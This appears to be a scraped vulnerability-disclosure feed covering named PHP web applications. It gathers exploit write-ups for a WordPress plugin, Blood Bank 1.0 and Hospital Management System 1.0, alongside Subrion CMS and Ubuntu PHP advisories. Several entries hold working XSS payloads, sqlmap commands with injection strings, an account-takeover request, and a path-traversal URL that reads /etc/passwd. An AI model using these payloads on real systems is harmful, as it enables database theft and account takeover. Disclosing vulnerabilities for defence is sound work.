WordPress IDonate Blood Request Management System plugin versions 1.8.1 and below suffer from a persistent cross site scripting vulnerability.

    # Exploit Title: IDonate – blood request management system <=1.8.1 - StoredCross-Site Scripting (Authenticated)# Date: 29-02-2024# Exploit Author: Laburity Research Team# Vendor Homepage: https://wordpress.org/plugins/idonate/# Version: <=1.8.1# Tested on: Firefox# Contact me: contact [at] laburity.com# Summary:A cross site scripting stored vulnerability has been identified inWordPress Plugin IDonate – blood request management system version lessthen 1.8.1. that allows Authenticated users to run arbitrary javascriptcode inside WordPress using blood request management system Plugin.# POC1- Navigate tohttp://localhost:10003/wp-admin/admin.php?page=idonate-setting-admin2- Enter payload "><h1 onclick=alert(1)>XSS</h1> in Recaptcha secret keyand in Recaptcha Site key3- Click on save changes.4- While clicking on the payload text, XSS will trigger.# Vulnerable Code:```    public function idonate_recaptcha_secretkey_callback()    {if( isset( $this->general_options['idonate_recaptcha_secretkey'] ) ){$secretkey = $this->general_options['idonate_recaptcha_secretkey'];}else{$secretkey = '';}//        printf(            '<input type="text" id="idonate_recaptcha_secretkey" value="%s"name="idonate_general_option_name[idonate_recaptcha_secretkey]"  />',            $secretkey        );    }```Secrets keys (idonate_recaptcha_secretkey) are printed without sanitization.

WordPress IDonate Blood Request Management System 1.8.1 Cross Site Scripting

Blood Bank version 1.0 suffers from multiple remote SQL injection vulnerabilities. Original discovery of SQL injection in this version is attributed to Nitin Sharma in October of 2021.

    # Exploit Title: Blood Bank v1.0 SQL Injection Vulnerability# Date: 2023-11-14# Exploit Author: Ersin Erenler# Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code# Software Link: https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip# Version: 1.0# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0# CVE : CVE-2023-46014, CVE-2023-46017, CVE-2023-46018-------------------------------------------------------------------------------1. Description:The lack of proper input validation and sanitization on the 'hemail' and 'hpassword' parameters allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database.Vulnerable File: /hospitalLogin.phpParameter Names: hemail, hpassword2. Proof of Concept:----------------------Execute sqlmap using either the 'hemain' or 'hpassword' parameter to retrieve the current database:sqlmap -u "http://localhost/bloodbank/file/hospitalLogin.php" --method POST --data "hemail=test@test&hpassword=test&hlogin=Login" -p hemail --risk 3 --level 3 --dbms mysql --batch --current-dbSQLMap Response:----------------------Parameter: hemail (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)    Payload: hemail=test@test' AND 3778=(SELECT (CASE WHEN (3778=3778) THEN 3778 ELSE (SELECT 9754 UNION SELECT 4153) END))-- -&hpassword=test&hlogin=Login    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)    Payload: hemail=test@test' OR (SELECT 3342 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(3342=3342,1))),0x7170767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NSQu&hpassword=test&hlogin=Login    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: hemail=test@test' AND (SELECT 5639 FROM (SELECT(SLEEP(5)))ulgW)-- QYnb&hpassword=test&hlogin=Login    Type: UNION query    Title: Generic UNION query (NULL) - 6 columns    Payload: hemail=test@test' UNION ALL SELECT CONCAT(0x716a7a6b71,0x567a4f6f4b556976707668696878754f48514d6e63424a706f70714e6f62684f504a7a565178736a,0x7170767a71),NULL,NULL,NULL,NULL,NULL-- -&hpassword=test&hlogin=Login-------------------------------------------------------------------------------1. Description:The lack of proper input validation and sanitization on the 'remail' and 'rpassword' parameters allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the databaseVulnerable File: /receiverLogin.phpParameter Names: remail, rpassword2. Proof of Concept:----------------------Execute sqlmap using either the 'remail' or 'rpassword' parameter to retrieve the current database:sqlmap -u "http://localhost/bloodbank/file/receiverLogin.php" --method POST --data "remail=test@test&rpassword=test&rlogin=Login" -p remail --risk 3 --level 5 --dbms mysql --batch --current-dbsqlmap -u "http://localhost/bloodbank/file/hospitalLogin.php" --method POST --data "hemail=test@test&hpassword=test&hlogin=Login" -p rpassword --risk 3 --level 5 --dbms mysql --batch --current-dbSQLMap Response:-------------------------Parameter: remail (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)    Payload: remail=test@test' AND 1348=(SELECT (CASE WHEN (1348=1348) THEN 1348 ELSE (SELECT 5898 UNION SELECT 1310) END))-- -&rpassword=test&rlogin=Login    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)    Payload: remail=test@test' OR (SELECT 9644 FROM(SELECT COUNT(*),CONCAT(0x7170707171,(SELECT (ELT(9644=9644,1))),0x7178706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HyEh&rpassword=test&rlogin=Login    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: remail=test@test' AND (SELECT 5587 FROM (SELECT(SLEEP(5)))hWQj)-- NUfN&rpassword=test&rlogin=Login    Type: UNION query    Title: Generic UNION query (NULL) - 7 columns    Payload: remail=test@test' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x4e764e5452486270544a6e4c705a79535a667441756d556b416e7961484a534a647542597a61466f,0x7178706271),NULL,NULL,NULL,NULL,NULL-- -&rpassword=test&rlogin=Login------Parameter: rpassword (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)    Payload: remail=test@test&rpassword=test' AND 9149=(SELECT (CASE WHEN (9149=9149) THEN 9149 ELSE (SELECT 9028 UNION SELECT 5274) END))-- -&rlogin=Login    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)    Payload: remail=test@test&rpassword=test' OR (SELECT 6087 FROM(SELECT COUNT(*),CONCAT(0x7170707171,(SELECT (ELT(6087=6087,1))),0x7178706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VRqW&rlogin=Login    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: remail=test@test&rpassword=test' AND (SELECT 4449 FROM (SELECT(SLEEP(5)))eegb)-- Cuoy&rlogin=Login    Type: UNION query    Title: Generic UNION query (NULL) - 7 columns    Payload: remail=test@test&rpassword=test' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x6e686d776376736a706f47796d474a736a48566f72625a4e6d537247665a444f684154684b476d62,0x7178706271),NULL,NULL,NULL,NULL,NULL-- -&rlogin=Login----------------------------------------------------------------------------------# Description:The lack of proper input validation and sanitization on the 'remail' parameter allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database.Vulnerable File: /receiverReg.phpParameter Name: remail# Proof of Concept:----------------------1. Save the POST request of receiverReg.php to a request.txt file---POST /bloodbank/file/receiverReg.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=---------------------------2653697510272605730288393868Content-Length: 877Origin: http://localhostConnection: closeReferer: http://localhost/bloodbank/register.phpCookie: PHPSESSID=<some-cookie-value>Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1-----------------------------2653697510272605730288393868Content-Disposition: form-data; name="rname"test-----------------------------2653697510272605730288393868Content-Disposition: form-data; name="rbg"A+-----------------------------2653697510272605730288393868Content-Disposition: form-data; name="rcity"test-----------------------------2653697510272605730288393868Content-Disposition: form-data; name="rphone"05555555555-----------------------------2653697510272605730288393868Content-Disposition: form-data; name="remail"test@test-----------------------------2653697510272605730288393868Content-Disposition: form-data; name="rpassword"test123-----------------------------2653697510272605730288393868Content-Disposition: form-data; name="rregister"Register-----------------------------2653697510272605730288393868-----2. Execute sqlmap using 'remail' parameter to retrieve the current database:sqlmap -r request.txt -p remail --risk 3 --level 3 --dbms mysql --batch --current-db

Blood Bank 1.0 SQL Injection

Subrion CMS 4.2.1 is vulnerable to SQL Injection via ia.core.mysqli.php.

**Subrion CMS vulnerable to SQL Injection**

Moderate severity GitHub Reviewed Published Feb 27, 2024 to the GitHub Advisory Database • Updated Feb 27, 2024

GHSA-xxf8-fpmr-fw7v: Subrion CMS vulnerable to SQL Injection

Subrion CMS 4.2.1 is vulnerable to Cross Site Scripting (XSS) via adminer.php.

Skip to content

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-25399

**Subrion CMS vulnerable to Cross Site Scripting**

Moderate severity GitHub Reviewed Published Feb 27, 2024 to the GitHub Advisory Database • Updated Feb 27, 2024

**Package**

composer intelliants/subrion (Composer)

**Affected versions**

<= 4.2.1

**Description**

Published to the GitHub Advisory Database

Feb 27, 2024

Last updated

Feb 27, 2024

GHSA-q4qh-8pxw-r48q: Subrion CMS vulnerable to Cross Site Scripting 

Ubuntu Security Notice 6305-2 - USN-6305-1 fixed several vulnerabilities in PHP. This update provides the corresponding update for Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, and Ubuntu 20.04 LTS. It was discovered that PHP incorrectly handled certain XML files. An attacker could possibly use this issue to expose sensitive information.

==========================================================================  
Ubuntu Security Notice USN-6305-2  
February 27, 2024

php7.0, php7.2, php7.4 vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS (Available with Ubuntu Pro)  
- Ubuntu 16.04 LTS (Available with Ubuntu Pro)

Summary:

Several security issues were fixed in PHP.

Software Description:  
- php7.4: HTML-embedded scripting language interpreter  
- php7.2: HTML-embedded scripting language interpreter  
- php7.0: HTML-embedded scripting language interpreter

Details:

USN-6305-1 fixed several vulnerabilities in PHP. This update provides  
the corresponding update for Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, and Ubuntu 20.04 LTS.

Original advisory details:

 It was discovered that PHP incorrectly handled certain XML files.  
 An attacker could possibly use this issue to expose sensitive information.  
 (CVE-2023-3823)

 It was discovered that PHP incorrectly handled certain PHAR files.  
 An attacker could possibly use this issue to cause a crash,  
 expose sensitive information or execute arbitrary code.  
 (CVE-2023-3824)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 20.04 LTS:  
  libapache2-mod-php7.4           7.4.3-4ubuntu2.20  
  php7.4                          7.4.3-4ubuntu2.20  
  php7.4-cgi                      7.4.3-4ubuntu2.20  
  php7.4-cli                      7.4.3-4ubuntu2.20  
  php7.4-fpm                      7.4.3-4ubuntu2.20  
  php7.4-xml                      7.4.3-4ubuntu2.20

Ubuntu 18.04 LTS (Available with Ubuntu Pro):  
  libapache2-mod-php7.2           7.2.24-0ubuntu0.18.04.17+esm2  
  php7.2                          7.2.24-0ubuntu0.18.04.17+esm2  
  php7.2-cgi                      7.2.24-0ubuntu0.18.04.17+esm2  
  php7.2-cli                      7.2.24-0ubuntu0.18.04.17+esm2  
  php7.2-fpm                      7.2.24-0ubuntu0.18.04.17+esm2  
  php7.2-xml                      7.2.24-0ubuntu0.18.04.17+esm2

Ubuntu 16.04 LTS (Available with Ubuntu Pro):  
  libapache2-mod-php7.0           7.0.33-0ubuntu0.16.04.16+esm8  
  php7.0                          7.0.33-0ubuntu0.16.04.16+esm8  
  php7.0-cgi                      7.0.33-0ubuntu0.16.04.16+esm8  
  php7.0-cli                      7.0.33-0ubuntu0.16.04.16+esm8  
  php7.0-fpm                      7.0.33-0ubuntu0.16.04.16+esm8  
  php7.0-xml                      7.0.33-0ubuntu0.16.04.16+esm8

In general, a standard system update will make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-6305-2  
  https://ubuntu.com/security/notices/USN-6305-1  
  CVE-2023-3823, CVE-2023-3824

Package Information:  
  https://launchpad.net/ubuntu/+source/php7.4/7.4.3-4ubuntu2.20

Ubuntu Security Notice USN-6305-2

Hospital Management System version 1.0 suffers from insecure direct object reference and account takeover vulnerabilities.

# Exploit Title: Hospital Management System - IDOR + Accaunt Takeover  
# Google Dork: N/A  
# Application: Hospital Management System  
# Date: 27.02.2024  
# Bugs: IDOR + Accaunt Takeover  
# Exploit Author: SoSPiro  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html  
# Version: 1.0  
# Tested on: Windows 10 64 bit Wampserver   
# CVE : N/A

## Vulnerability Description:

This report focuses on two vulnerabilities known as "Insecure Direct Object References (IDOR)" and "Account Takeover". These vulnerabilities occur in a scenario where user input and access privileges validation is inadequate.

## Proof of Concept (PoC):

Target User Information:

User 1:  
ID: 1  
Email: patient@patient.com  
Password: patient  
-----------------------------------  
User 2:  
ID: 4  
Email: attack@ker  
Password: q1w2e3  
-----------------------------------

User 1 Request

POST /Vaidya%20Mitra/vm/patient/edit-user.php HTTP/1.1  
Host: localhost  
Cookie: _ga=GA1.1.2080672900.1708952048; _gid=GA1.1.1833914840.1708952048; PHPSESSID=f6je8gcsm0h685mfr2g37ot8to  
...  
id00=1&oldemail=patient%40patient.com&email=patient%40patient.com&name=Mrs.Sunita+Dighe&nic=422201&Tele=9090909091&address=India&password=patient&cpassword=patient

User 2 Request

POST /Vaidya%20Mitra/vm/patient/edit-user.php HTTP/1.1  
Host: localhost  
Cookie: PHPSESSID=4c8per12a8freilu1upich92a4  
...  
id00=4&oldemail=attack%40ker&email=attack%40ker&name=attack+attacker&nic=123123123&Tele=0712345677&address=attac&password=q1w2e3&cpassword=q1w2e3

Attacker's Request

The attacker aims to modify the account details of "patient 1" and sends the following HTTP request:

POST /Vaidya%20Mitra/vm/patient/edit-user.php HTTP/1.1  
Host: localhost  
Cookie: PHPSESSID=4c8per12a8freilu1upich92a4  
...  
id00=1&oldemail=patient%40patient.com&email=patient%40patient.com&name=MRRS.Sunita+Dighe&nic=422201&Tele=9090909091&address=attac&password=q1w2e3&cpassword=q1w2e3

In the above SQL queries, the $id value received from the user is directly included in the query and security   
checks are not performed. This allows exploiting another user's information. At the same time, since   
the user's identity is obtained from the POST data, the attacker can pass his identity as another user's identity.

PoC video: https://www.youtube.com/watch?v=pmoBSnu9IYI

## Vulnerable code section:  
====================================================

$sql1="update patient set pemail='$email',pname='$name',ppassword='$password',pnic='$nic',ptel='$tele',paddress='$address' where pid=$id ;";  
$database->query($sql1);  
echo $sql1;  
$sql1="update webuser set email='$email' where email='$oldemail' ;";  
$database->query($sql1);  
echo $sql1;  
====================================================

## Risks This security vulnerability exposes user information to unauthorized access and modifications. Consequently, there are potential risks such as account takeover, privacy breaches, and non-compliance with security policies, which can lead to substantial damage and security breaches in the system.

Hospital Management System 1.0 Insecure Direct Object Reference / Account Takeover

Hospital Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Hospital Management System - Stord XSS# Google Dork: N/A# Application: Hospital Management System# Date: 27.02.2024# Bugs: Stord XSS# Exploit Author: SoSPiro# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html# Version: 1.0# Tested on: Windows 10 64 bit Wampserver # CVE : N/A## Vulnerability Description:A security vulnerability has been identified in the "Vaidya Mitra" healthcare application, specifically in the doctor's account settings functionality. The issue arises due to inadequate input validation, allowing an attacker to inject malicious scripts into the system, leading to a Cross-Site Scripting (XSS) vulnerability.## Proof of Concept (PoC):1. Exploiting Doctor's Account Settings:The attacker, using the Burp Suite Proxy tool, intercepts and modifies a POST request sent by the doctor to update their account settings.The payload <script>alert(1)</script> is injected into the email parameter.The manipulated request looks like the following:POST /Vaidya%20Mitra/vm/doctor/edit-doc.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0...Content-Type: application/x-www-form-urlencodedContent-Length: 170...id00=2&oldemail=doctor%40doctor.com&email=doctor%40doctor.com<script>alert(1)</script>&name=Dr.Akash+Sanap&nic=234&Tele=8080808080&spec=1&password=doctor&cpassword=doctorUpon submission, the payload gets stored in the doctor's email field.2. Triggering XSS in Admin's View:An admin viewing doctors' information at http://localhost/Vaidya%20Mitra/vm/admin/doctors.php inadvertently triggers the XSS vulnerability.The admin sends a GET request to view a doctor's details:GET /Vaidya%20Mitra/vm/admin/doctors.php?action=view&id=2 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0...The server returns the doctor's information, and the XSS payload in the email field is executed in the admin's browser, leading to the alert being triggered.PoC - video: https://drive.google.com/file/d/1dCz5Q3mKMfpB2pjPeOV6ZoBi1Nj74DR1/view?usp=drive_link

Hospital Management System 1.0 Cross Site Scripting

Hospital Management System version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Hospital Management System - SQL Injection# Google Dork: N/A# Application: Hospital Management System# Date: 26.02.2024# Bugs: SQL Injection # Exploit Author: SoSPiro# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html# Version: 1.0# Tested on: Windows 10 64 bit Wampserver # CVE : N/A## Vulnerability Description:A security vulnerability has been identified in this web application due to the direct inclusion of user-input data into SQL queries, rendering it susceptible to SQL Injection attacks. This vulnerability may enable malicious actors to gain unauthorized access to sensitive information.## Proof of Concept (PoC):Below is an example of an attack that a malicious actor could execute to exploit this vulnerability.POST /Vaidya%20Mitra/vm/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 80Origin: http://localhostConnection: closeReferer: http://localhost/Vaidya%20Mitra/vm/login.phpCookie: _ga=GA1.1.2080672900.1708952048; _gid=GA1.1.1833914840.1708952048; PHPSESSID=18a16tga7k2glh7useremail=test@123.asd'%2b(select*from(select(sleep(5)))a)%2b'&userpassword=testIn this example, the payload appended to the useremail parameter aims to execute a sleep function, intentionally delaying the server's response time. Real-world attacks could involve more malicious operations.Request - Response foto: https://i.imgur.com/LxENLBz.png## Vulnerable code section:====================================================/Vaidya%20Mitra/vm/login.php$email = $_POST['useremail'];$password = $_POST['userpassword'];$result = $database->query("select * from webuser where email='$email'");

Hospital Management System 1.0 SQL Injection

Automatic-Systems SOC FL9600 FastLine version V06 suffers from a directory traversal vulnerability.

Change Mirror Download

    # Exploit Title: Automatic-Systems SOC FL9600 FastLine - Directory Transversal# Google Dork: # Date: 12/9/2023# Exploit Author: Mike Jankowski-Lorek, Marcin Kozlowski / Cqure# Vendor Homepage: http://automatic-systems.com# Software Link: # Version: V06# Tested on: V06, VersionSVN = 28569_8a99acbd8d7ea09a57d5fbcb435da5427b3f6b8a# CVE : CVE-2023-37607Request URL: http://<host>/csvServer.php?getList=1&dir=../../../../etc/&file=passwd

Automatic-Systems SOC FL9600 FastLine Directory Traversal

Talos has observed a phishing spam campaign targeting potential victims in Mexico, luring users to download a new obfuscated information stealer we’re calling TimbreStealer, which has been active since at least November 2023.

Tag

#php